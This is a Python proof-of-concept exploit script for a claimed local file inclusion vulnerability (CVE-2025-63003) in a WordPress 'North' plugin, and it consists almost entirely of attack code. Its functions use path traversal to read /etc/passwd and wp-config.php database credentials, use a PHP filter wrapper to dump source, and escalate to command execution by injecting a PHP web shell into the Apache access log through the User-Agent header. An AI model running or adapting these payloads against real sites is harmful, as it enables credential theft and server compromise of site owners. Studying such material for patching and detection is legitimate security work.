CVE-2025-63003

# CVE-2025-63003 PoC - Local File Inclusion in WordPress North Plugin # Affected: north-plugin <= 1.4.2 import requests import urllib.parse target_url = "http://target-site.com/" # PoC 1: Basic LFI to read /etc/passwd def test_lfi_basic(): """Basic LFI test to read system files""" params = { 'file': '../../../../../../etc/passwd', 'action': 'north_include' } response = requests.get(target_url, params=params) if 'root:' in response.text: print('[+] LFI Confirmed - /etc/passwd readable') return response.text # PoC 2: Read WordPress config file def test_wp_config(): """Read WordPress configuration with database credentials""" params = { 'file': '../../wp-config.php', 'action': 'north_include' } response = requests.get(target_url, params=params) if 'DB_NAME' in response.text: print('[+] WordPress config file readable') return response.text # PoC 3: PHP Filter wrapper to read source code def test_php_filter(): """Use PHP filter wrapper to read encoded source files""" encoded_path = urllib.parse.quote('php://filter/read=convert.base64-encode/resource=../../wp-config.php') params = { 'file': encoded_path, 'action': 'north_include' } response = requests.get(target_url, params=params) print('[+] Attempting PHP filter wrapper technique') return response.text # PoC 4: Authenticated RCE via log poisoning (if combined with other vulns) def test_log_poisoning(): """Log poisoning technique for RCE (requires additional conditions)""" # Inject PHP code into access log log_poison = "<?php system($_GET['cmd']); ?>" headers = {'User-Agent': log_poison} requests.get(target_url, headers=headers) # Execute command via LFI exec_params = { 'file': '../../../../var/log/apache2/access.log', 'action': 'north_include', 'cmd': 'id' } response = requests.get(target_url, params=exec_params) return response.text if __name__ == '__main__': print('Testing CVE-2025-63003') test_lfi_basic() test_wp_config()

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